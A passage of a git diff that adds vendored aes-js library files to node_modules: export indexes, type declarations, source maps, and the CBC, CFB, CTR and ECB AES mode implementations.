AQ,GAAG,IAAI,CAAC;SAC7E;QAED,OAAO,MAAM,CAAC;IAChB,CAAC;CACF"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/index.d.ts b/node_modules/aes-js/lib.esm/index.d.ts new file mode 100644 index 000000000000..95618a7a6c27 --- /dev/null +++ b/node_modules/aes-js/lib.esm/index.d.ts @@ -0,0 +1,9 @@ +export { AES } from "./aes.js"; +export { ModeOfOperation } from "./mode.js"; +export { CBC } from "./mode-cbc.js"; +export { CFB } from "./mode-cfb.js"; +export { CTR } from "./mode-ctr.js"; +export { ECB } from "./mode-ecb.js"; +export { OFB } from "./mode-ofb.js"; +export { pkcs7Pad, pkcs7Strip } from "./padding.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/index.d.ts.map b/node_modules/aes-js/lib.esm/index.d.ts.map new file mode 100644 index 000000000000..376752cb057a --- /dev/null +++ b/node_modules/aes-js/lib.esm/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src.ts/index.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,GAAG,EAAE,MAAM,UAAU,CAAC;AAE/B,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AACpC,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AACpC,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AACpC,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AACpC,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AAEpC,OAAO,EAAE,QAAQ,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/index.js b/node_modules/aes-js/lib.esm/index.js new file mode 100644 index 000000000000..ab88d0edc977 --- /dev/null +++ b/node_modules/aes-js/lib.esm/index.js @@ -0,0 +1,9 @@ +export { AES } from "./aes.js"; +export { ModeOfOperation } from "./mode.js"; +export { CBC } from "./mode-cbc.js"; +export { CFB } from "./mode-cfb.js"; +export { CTR } from "./mode-ctr.js"; +export { ECB } from "./mode-ecb.js"; +export { OFB } from "./mode-ofb.js"; +export { pkcs7Pad, pkcs7Strip } from "./padding.js"; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/index.js.map b/node_modules/aes-js/lib.esm/index.js.map new file mode 100644 index 000000000000..f85262de9002 --- /dev/null +++ b/node_modules/aes-js/lib.esm/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../src.ts/index.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,GAAG,EAAE,MAAM,UAAU,CAAC;AAE/B,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AACpC,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AACpC,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AACpC,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AACpC,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AAEpC,OAAO,EAAE,QAAQ,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-cbc.d.ts b/node_modules/aes-js/lib.esm/mode-cbc.d.ts new file mode 100644 index 000000000000..0ec7fae57411 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-cbc.d.ts @@ -0,0 +1,9 @@ +import { ModeOfOperation } from "./mode.js"; +export declare class CBC extends ModeOfOperation { + #private; + constructor(key: Uint8Array, iv?: Uint8Array); + get iv(): Uint8Array; + encrypt(plaintext: Uint8Array): Uint8Array; + decrypt(ciphertext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=mode-cbc.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-cbc.d.ts.map b/node_modules/aes-js/lib.esm/mode-cbc.d.ts.map new file mode 100644 index 000000000000..60cb871dd718 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-cbc.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-cbc.d.ts","sourceRoot":"","sources":["../src.ts/mode-cbc.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,qBAAa,GAAI,SAAQ,eAAe;;gBAI1B,GAAG,EAAE,UAAU,EAAE,EAAE,CAAC,EAAE,UAAU;IAe5C,IAAI,EAAE,IAAI,UAAU,CAAqC;IAEzD,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IAkB1C,OAAO,CAAC,UAAU,EAAE,UAAU,GAAG,UAAU;CAiB5C"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-cbc.js b/node_modules/aes-js/lib.esm/mode-cbc.js new file mode 100644 index 000000000000..44a00e45b480 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-cbc.js @@ -0,0 +1,62 @@ +// Cipher Block Chaining +var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +}; +var __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +}; +var _CBC_iv, _CBC_lastBlock; +import { ModeOfOperation } from "./mode.js"; +export class CBC extends ModeOfOperation { + constructor(key, iv) { + super("ECC", key, CBC); + _CBC_iv.set(this, void 0); + _CBC_lastBlock.set(this, void 0); + if (iv) { + if (iv.length % 16) { + throw new TypeError("invalid iv size (must be 16 bytes)"); + } + __classPrivateFieldSet(this, _CBC_iv, new Uint8Array(iv), "f"); + } + else { + __classPrivateFieldSet(this, _CBC_iv, new Uint8Array(16), "f"); + } + __classPrivateFieldSet(this, _CBC_lastBlock, this.iv, "f"); + } + get iv() { return new Uint8Array(__classPrivateFieldGet(this, _CBC_iv, "f")); } + encrypt(plaintext) { + if (plaintext.length % 16) { + throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)"); + } + const ciphertext = new Uint8Array(plaintext.length); + for (let i = 0; i < plaintext.length; i += 16) { + for (let j = 0; j < 16; j++) { + __classPrivateFieldGet(this, _CBC_lastBlock, "f")[j] ^= plaintext[i + j]; + } + __classPrivateFieldSet(this, _CBC_lastBlock, this.aes.encrypt(__classPrivateFieldGet(this, _CBC_lastBlock, "f")), "f"); + ciphertext.set(__classPrivateFieldGet(this, _CBC_lastBlock, "f"), i); + } + return ciphertext; + } + decrypt(ciphertext) { + if (ciphertext.length % 16) { + throw new TypeError("invalid ciphertext size (must be multiple of 16 bytes)"); + } + const plaintext = new Uint8Array(ciphertext.length); + for (let i = 0; i < ciphertext.length; i += 16) { + const block = this.aes.decrypt(ciphertext.subarray(i, i + 16)); + for (let j = 0; j < 16; j++) { + plaintext[i + j] = block[j] ^ __classPrivateFieldGet(this, _CBC_lastBlock, "f")[j]; + __classPrivateFieldGet(this, _CBC_lastBlock, "f")[j] = ciphertext[i + j]; + } + } + return plaintext; + } +} +_CBC_iv = new WeakMap(), _CBC_lastBlock = new WeakMap(); +//# sourceMappingURL=mode-cbc.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-cbc.js.map b/node_modules/aes-js/lib.esm/mode-cbc.js.map new file mode 100644 index 000000000000..187365ef799a --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-cbc.js.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-cbc.js","sourceRoot":"","sources":["../src.ts/mode-cbc.ts"],"names":[],"mappings":"AAAA,wBAAwB;;;;;;;;;;;;;AAExB,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,MAAM,OAAO,GAAI,SAAQ,eAAe;IAItC,YAAY,GAAe,EAAE,EAAe;QAC1C,KAAK,CAAC,KAAK,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC;QAJzB,0BAAgB;QAChB,iCAAuB;QAKrB,IAAI,EAAE,EAAE;YACN,IAAI,EAAE,CAAC,MAAM,GAAG,EAAE,EAAE;gBAClB,MAAM,IAAI,SAAS,CAAC,oCAAoC,CAAC,CAAC;aAC3D;YACD,uBAAA,IAAI,WAAO,IAAI,UAAU,CAAC,EAAE,CAAC,MAAA,CAAC;SAC/B;aAAM;YACL,uBAAA,IAAI,WAAO,IAAI,UAAU,CAAC,EAAE,CAAC,MAAA,CAAC;SAC/B;QAED,uBAAA,IAAI,kBAAc,IAAI,CAAC,EAAE,MAAA,CAAC;IAC5B,CAAC;IAED,IAAI,EAAE,KAAiB,OAAO,IAAI,UAAU,CAAC,uB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AAC,GAAG,EAAE,EAAE,CAAC,EAAE,EAAE;gBAC3B,SAAS,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,KAAK,CAAC,CAAC,CAAC,GAAG,uBAAA,IAAI,sBAAW,CAAC,CAAC,CAAC,CAAC;gBACjD,uBAAA,IAAI,sBAAW,CAAC,CAAC,CAAC,GAAG,UAAU,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC;aACxC;SACJ;QAED,OAAO,SAAS,CAAC;IACnB,CAAC;CACF"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-cfb.d.ts b/node_modules/aes-js/lib.esm/mode-cfb.d.ts new file mode 100644 index 000000000000..86d0ea3e36ab --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-cfb.d.ts @@ -0,0 +1,10 @@ +import { ModeOfOperation } from "./mode.js"; +export declare class CFB extends ModeOfOperation { + #private; + readonly segmentSize: number; + constructor(key: Uint8Array, iv?: Uint8Array, segmentSize?: number); + get iv(): Uint8Array; + encrypt(plaintext: Uint8Array): Uint8Array; + decrypt(ciphertext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=mode-cfb.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-cfb.d.ts.map b/node_modules/aes-js/lib.esm/mode-cfb.d.ts.map new file mode 100644 index 000000000000..7e08a59f4ffc --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-cfb.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-cfb.d.ts","sourceRoot":"","sources":["../src.ts/mode-cfb.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,qBAAa,GAAI,SAAQ,eAAe;;IAItC,QAAQ,CAAC,WAAW,EAAG,MAAM,CAAC;gBAElB,GAAG,EAAE,UAAU,EAAE,EAAE,CAAC,EAAE,UAAU,EAAE,WAAW,GAAE,MAAU;IAwBrE,IAAI,EAAE,IAAI,UAAU,CAAqC;IAUzD,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IAqB1C,OAAO,CAAC,UAAU,EAAE,UAAU,GAAG,UAAU;CAoB5C"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-cfb.js b/node_modules/aes-js/lib.esm/mode-cfb.js new file mode 100644 index 000000000000..0c0ddabb9d39 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-cfb.js @@ -0,0 +1,77 @@ +// Cipher Feedback +var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +}; +var __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +}; +var _CFB_instances, _CFB_iv, _CFB_shiftRegister, _CFB_shift; +import { ModeOfOperation } from "./mode.js"; +export class CFB extends ModeOfOperation { + constructor(key, iv, segmentSize = 8) { + super("CFB", key, CFB); + _CFB_instances.add(this); + _CFB_iv.set(this, void 0); + _CFB_shiftRegister.set(this, void 0); + // This library currently only handles byte-aligned segmentSize + if (!Number.isInteger(segmentSize) || (segmentSize % 8)) { + throw new TypeError("invalid segmentSize"); + } + Object.defineProperties(this, { + segmentSize: { enumerable: true, value: segmentSize } + }); + if (iv) { + if (iv.length % 16) { + throw new TypeError("invalid iv size (must be 16 bytes)"); + } + __classPrivateFieldSet(this, _CFB_iv, new Uint8Array(iv), "f"); + } + else { + __classPrivateFieldSet(this, _CFB_iv, new Uint8Array(16), "f"); + } + __classPrivateFieldSet(this, _CFB_shiftRegister, this.iv, "f"); + } + get iv() { return new Uint8Array(__classPrivateFieldGet(this, _CFB_iv, "f")); } + encrypt(plaintext) { + if (8 * plaintext.length % this.segmentSize) { + throw new TypeError("invalid plaintext size (must be multiple of segmentSize bytes)"); + } + const segmentSize = this.segmentSize / 8; + const ciphertext = new Uint8Array(plaintext); + for (let i = 0; i < ciphertext.length; i += segmentSize) { + const xorSegment = this.aes.encrypt(__classPrivateFieldGet(this, _CFB_shiftRegister, "f")); + for (let j = 0; j < segmentSize; j++) { + ciphertext[i + j] ^= xorSegment[j]; + } + __classPrivateFieldGet(this, _CFB_instances, "m", _CFB_shift).call(this, ciphertext.subarray(i)); + } + return ciphertext; + } + decrypt(ciphertext) { + if (8 * ciphertext.length % this.segmentSize) { + throw new TypeError("invalid ciphertext size (must be multiple of segmentSize bytes)"); + } + const segmentSize = this.segmentSize / 8; + const plaintext = new Uint8Array(ciphertext); + for (let i = 0; i < plaintext.length; i += segmentSize) { + const xorSegment = this.aes.encrypt(__classPrivateFieldGet(this, _CFB_shiftRegister, "f")); + for (let j = 0; j < segmentSize; j++) { + plaintext[i + j] ^= xorSegment[j]; + } + __classPrivateFieldGet(this, _CFB_instances, "m", _CFB_shift).call(this, ciphertext.subarray(i)); + } + return plaintext; + } +} +_CFB_iv = new WeakMap(), _CFB_shiftRegister = new WeakMap(), _CFB_instances = new WeakSet(), _CFB_shift = function _CFB_shift(data) { + const segmentSize = this.segmentSize / 8; + // Shift the register + __classPrivateFieldGet(this, _CFB_shiftRegister, "f").set(__classPrivateFieldGet(this, _CFB_shiftRegister, "f").subarray(segmentSize)); + __classPrivateFieldGet(this, _CFB_shiftRegister, "f").set(data.subarray(0, segmentSize), 16 - segmentSize); +}; +//# sourceMappingURL=mode-cfb.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-cfb.js.map b/node_modules/aes-js/lib.esm/mode-cfb.js.map new file mode 100644 index 000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AW,EAAE,CAAC,EAAE,EAAE;gBACpC,SAAS,CAAC,CAAC,GAAG,CAAC,CAAC,IAAI,UAAU,CAAC,CAAC,CAAC,CAAC;aACnC;YAED,uBAAA,IAAI,kCAAO,MAAX,IAAI,EAAQ,UAAU,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,CAAC;SACrC;QAED,OAAO,SAAS,CAAC;IACnB,CAAC;CACF;8HAjDQ,IAAgB;IACrB,MAAM,WAAW,GAAG,IAAI,CAAC,WAAW,GAAG,CAAC,CAAC;IAEzC,qBAAqB;IACrB,uBAAA,IAAI,0BAAe,CAAC,GAAG,CAAC,uBAAA,IAAI,0BAAe,CAAC,QAAQ,CAAC,WAAW,CAAC,CAAC,CAAC;IACnE,uBAAA,IAAI,0BAAe,CAAC,GAAG,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC,EAAE,WAAW,CAAC,EAAE,EAAE,GAAG,WAAW,CAAC,CAAC;AAC3E,CAAC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-ctr.d.ts b/node_modules/aes-js/lib.esm/mode-ctr.d.ts new file mode 100644 index 000000000000..fda6de3cdec0 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-ctr.d.ts @@ -0,0 +1,12 @@ +import { ModeOfOperation } from "./mode.js"; +export declare class CTR extends ModeOfOperation { + #private; + constructor(key: Uint8Array, initialValue?: number | Uint8Array); + get counter(): Uint8Array; + setCounterValue(value: number): void; + setCounterBytes(value: Uint8Array): void; + increment(): void; + encrypt(plaintext: Uint8Array): Uint8Array; + decrypt(ciphertext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=mode-ctr.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-ctr.d.ts.map b/node_modules/aes-js/lib.esm/mode-ctr.d.ts.map new file mode 100644 index 000000000000..604f481fa5ef --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-ctr.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-ctr.d.ts","sourceRoot":"","sources":["../src.ts/mode-ctr.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,qBAAa,GAAI,SAAQ,eAAe;;gBAS1B,GAAG,EAAE,UAAU,EAAE,YAAY,CAAC,EAAE,MAAM,GAAG,UAAU;IAkB/D,IAAI,OAAO,IAAI,UAAU,CAA0C;IAEnE,eAAe,CAAC,KAAK,EAAE,MAAM,GAAG,IAAI;IAWpC,eAAe,CAAC,KAAK,EAAE,UAAU,GAAG,IAAI;IAQxC,SAAS;IAWT,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IAe1C,OAAO,CAAC,UAAU,EAAE,UAAU,GAAG,UAAU;CAG5C"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-ctr.js b/node_modules/aes-js/lib.esm/mode-ctr.js new file mode 100644 index 000000000000..bd21988db6ac --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-ctr.js @@ -0,0 +1,82 @@ +// Counter Mode +var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +}; +var __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +}; +var _CTR_remaining, _CTR_remainingIndex, _CTR_counter; +import { ModeOfOperation } from "./mode.js"; +export class CTR extends ModeOfOperation { + constructor(key, initialValue) { + super("CTR", key, CTR); + // Remaining bytes for the one-time pad + _CTR_remaining.set(this, void 0); + _CTR_remainingIndex.set(this, void 0); + // The current counter + _CTR_counter.set(this, void 0); + __classPrivateFieldSet(this, _CTR_counter, new Uint8Array(16), "f"); + __classPrivateFieldGet(this, _CTR_counter, "f").fill(0); + __classPrivateFieldSet(this, _CTR_remaining, __classPrivateFieldGet(this, _CTR_counter, "f"), "f"); // This will be discarded immediately + __classPrivateFieldSet(this, _CTR_remainingIndex, 16, "f"); + if (initialValue == null) { + initialValue = 1; + } + if (typeof (initialValue) === "number") { + this.setCounterValue(initialValue); + } + else { + this.setCounterBytes(initialValue); + } + } + get counter() { return new Uint8Array(__classPrivateFieldGet(this, _CTR_counter, "f")); } + setCounterValue(value) { + if (!Number.isInteger(value) || value < 0 || value > Number.MAX_SAFE_INTEGER) { + throw new TypeError("invalid counter initial integer value"); + } + for (let index = 15; index >= 0; --index) { + __classPrivateFieldGet(this, _CTR_counter, "f")[index] = value % 256; + value = Math.floor(value / 256); + } + } + setCounterBytes(value) { + if (value.length !== 16) { + throw new TypeError("invalid counter initial Uint8Array value length"); + } + __classPrivateFieldGet(this, _CTR_counter, "f").set(value); + } + increment() { + for (let i = 15; i >= 0; i--) { + if (__classPrivateFieldGet(this, _CTR_counter, "f")[i] === 255) { + __classPrivateFieldGet(this, _CTR_counter, "f")[i] = 0; + } + else { + __classPrivateFieldGet(this, _CTR_counter, "f")[i]++; + break; + } + } + } + encrypt(plaintext) { + var _a, _b; + const crypttext = new Uint8Array(plaintext); + for (let i = 0; i < crypttext.length; i++) { + if (__classPrivateFieldGet(this, _CTR_remainingIndex, "f") === 16) { + __classPrivateFieldSet(this, _CTR_remaining, this.aes.encrypt(__classPrivateFieldGet(this, _CTR_counter, "f")), "f"); + __classPrivateFieldSet(this, _CTR_remainingIndex, 0, "f"); + this.increment(); + } + crypttext[i] ^= __classPrivateFieldGet(this, _CTR_remaining, "f")[__classPrivateFieldSet(this, _CTR_remainingIndex, (_b = __classPrivateFieldGet(this, _CTR_remainingIndex, "f"), _a = _b++, _b), "f"), _a]; + } + return crypttext; + } + decrypt(ciphertext) { + return this.encrypt(ciphertext); + } +} +_CTR_remaining = new WeakMap(), _CTR_remainingIndex = new WeakMap(), _CTR_counter = new WeakMap(); +//# sourceMappingURL=mode-ctr.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-ctr.js.map b/node_modules/aes-js/lib.esm/mode-ctr.js.map new file mode 100644 index 000000000000..a68834a718e4 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-ctr.js.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-ctr.js","sourceRoot":"","sources":["../src.ts/mode-ctr.ts"],"names":[],"mappings":"AAAA,eAAe;;;;;;;;;;;;;AAEf,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,MAAM,OAAO,GAAI,SAAQ,eAAe;IAStC,YAAY,GAAe,EAAE,YAAkC;QAC7D,KAAK,CAAC,KAAK,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC;QARzB,uCAAuC;QACvC,iCAAuB;QACvB,sCAAwB;QAExB,sBAAsB;QACtB,+BAAqB;QAKnB,uBAAA,IAAI,gBAAY,IAAI,UAAU,CAAC,EAAE,CAAC,MAAA,CAAA;QAClC,uBAAA,IAAI,oBAAS,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;QAEtB,uBAAA,IAAI,kBAAc,uBAAA,IAAI,oBAAS,MAAA,CAAC,CAAE,qCAAqC;QACvE,uBAAA,IAAI,uBAAmB,EAAE,MAAA,CAAC;QAE1B,IAAI,YAAY,IAAI,IAAI,EAAE;YAAE,YAAY,GAAG,CAAC,CAAC;SAAE;QAE/C,IAAI,OAAM,CAAC,YAAY,CAAC,KAAK,QAAQ,EAAE;YACrC,IAAI,CAAC,eAAe,CAAC,YAAY,CAAC,CAAC;SACpC;aAAM;YACL,IAAI,CAAC,eAAe,CAAC,YAAY,CAAC,CAAC;SACpC;IACH,CAAC;IAED,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,MAAM,EAAE,CAAC,EAAE,EAAE;YACzC,IAAI,uBAAA,IAAI,2BAAgB,KAAK,EAAE,EAAE;gBAC/B,uBAAA,IAAI,kBAAc,IAAI,CAAC,GAAG,CAAC,OAAO,CAAC,uBAAA,IAAI,oBAAS,CAAC,MAAA,CAAC;gBAClD,uBAAA,IAAI,uBAAmB,CAAC,MAAA,CAAC;gBACzB,IAAI,CAAC,SAAS,EAAE,CAAC;aAClB;YACD,SAAS,CAAC,CAAC,CAAC,IAAI,uBAAA,IAAI,sBAAW,CAAC,kDAAA,CAAA,2DAAoB,EAApB,KAAA,IAAsB,IAAA,CAAA,MAAA,IAAA,CAAC,CAAC;SACzD;QAED,OAAO,SAAS,CAAC;IACnB,CAAC;IAED,OAAO,CAAC,UAAsB;QAC5B,OAAO,IAAI,CAAC,OAAO,CAAC,UAAU,CAAC,CAAC;IAClC,CAAC;CACF"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-ecb.d.ts b/node_modules/aes-js/lib.esm/mode-ecb.d.ts new file mode 100644 index 000000000000..0ca6eee3b774 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-ecb.d.ts @@ -0,0 +1,7 @@ +import { ModeOfOperation } from "./mode.js"; +export declare class ECB extends ModeOfOperation { + constructor(key: Uint8Array); + encrypt(plaintext: Uint8Array): Uint8Array; + decrypt(crypttext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=mode-ecb.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-ecb.d.ts.map b/node_modules/aes-js/lib.esm/mode-ecb.d.ts.map new file mode 100644 index 000000000000..7229be700010 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-ecb.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-ecb.d.ts","sourceRoot":"","sources":["../src.ts/mode-ecb.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,qBAAa,GAAI,SAAQ,eAAe;gBAE1B,GAAG,EAAE,UAAU;IAI3B,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IAa1C,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;CAY3C"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-ecb.js b/node_modules/aes-js/lib.esm/mode-ecb.js new file mode 100644 index 000000000000..04dec16c5f41 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-ecb.js @@ -0,0 +1,28 @@ +// Electronic Code Book +import { ModeOfOperation } from "./mode.js"; +export class ECB extends ModeOfOperation { + constructor(key) { + super("ECB", key, ECB); + } + encrypt(plaintext) { + if (plaintext.length % 16) { + throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)"); + } + const crypttext = new Uint8Array(plaintext.length); + for (let i = 0; i < plaintext.length; i += 16) { + crypttext.set(this.aes.encrypt(plaintext.subarray(i, i + 16)), i); + } + return crypttext; + } + decrypt(crypttext) { + if (crypttext.length % 16) { + throw new TypeError("invalid ciphertext size (must be multiple of 16 bytes)"); + } + const plaintext = new Uint8Array(crypttext.length); + for (let i = 0; i < crypttext.length; i += 16) { + plaintext.set(this.aes.decrypt(crypttext.subarray(i, i + 16)), i); + } + return plaintext; + } +} +//# sourceMappingURL=mode-ecb.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-ecb.js.map b/node_modules/aes-js/lib.esm/mode-ecb.js.map new file mode 100644 index 000000000000..eab89b7ca5fb --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-ecb.js.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-ecb.js","sourceRoot":"","sources":["../src.ts/mode-ecb.ts"],"names":[],"mappings":"AAAA,uBAAuB;AAEvB,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,MAAM,OAAO,GAAI,SAAQ,eAAe;IAEtC,YAAY,GAAe;QACzB,KAAK,CAAC,KAAK,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC;IACzB,CAAC;IAED,OAAO,CAAC,SAAqB;QAC3B,IAAI,SAAS,CAAC,MAAM,GAAG,EAAE,EAAE;YACvB,MAAM,IAAI,SAAS,CAAC,uDAAuD,CAAC,CAAC;SAChF;QAED,MAAM,SAAS,GAAG,IAAI,UAAU,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;QACnD,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,SAAS,CAAC,MAAM,EAAE,CAAC,IAAI,EAAE,EAAE;YAC3C,SAAS,CAAC,GAAG,CAAC,IAAI,CAAC,GAAG,CAAC,OAAO,CAAC,SAAS,CAAC,QAAQ,CAAC,CAAC,EAAE,CAAC,GAAG,EAAE,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC;SACrE;QAED,OAAO,SAAS,CAAC;IACnB,CAAC;IAED,OAAO,CAAC,SAAqB;QAC3B,IAAI,SAAS,CAAC,MAAM,GAAG,EAAE,EAAE;YACvB,MAAM,IAAI,SAAS,CAAC,wDAAwD,CAAC,CAAC;SACjF;QAED,MAAM,SAAS,GAAG,IAAI,UAAU,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;QACnD,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,SAAS,CAAC,MAAM,EAAE,CAAC,IAAI,EAAE,EAAE;YAC3C,SAAS,CAAC,GAAG,CAAC,IAAI,CAAC,GAAG,CAAC,OAAO,CAAC,SAAS,CAAC,QAAQ,CAAC,CAAC,EAAE,CAAC,GAAG,EAAE,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC;SACrE;QAED,OAAO,SAAS,CAAC;IACnB,CAAC;CACF"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/mode-ofb.d.ts b/node_modules/aes-js/lib.esm/mode-ofb.d.ts new file mode 100644 index 000000000000..a62d0b415ea5 --- /dev/null +++ b/node_modules/aes-js/lib.esm/mode-ofb.d.ts @@ -0,0 +1,9 @@ +import { ModeOfOperation } from "./mode.js"; +export declare class OFB extends ModeOfOperation { + #private; + 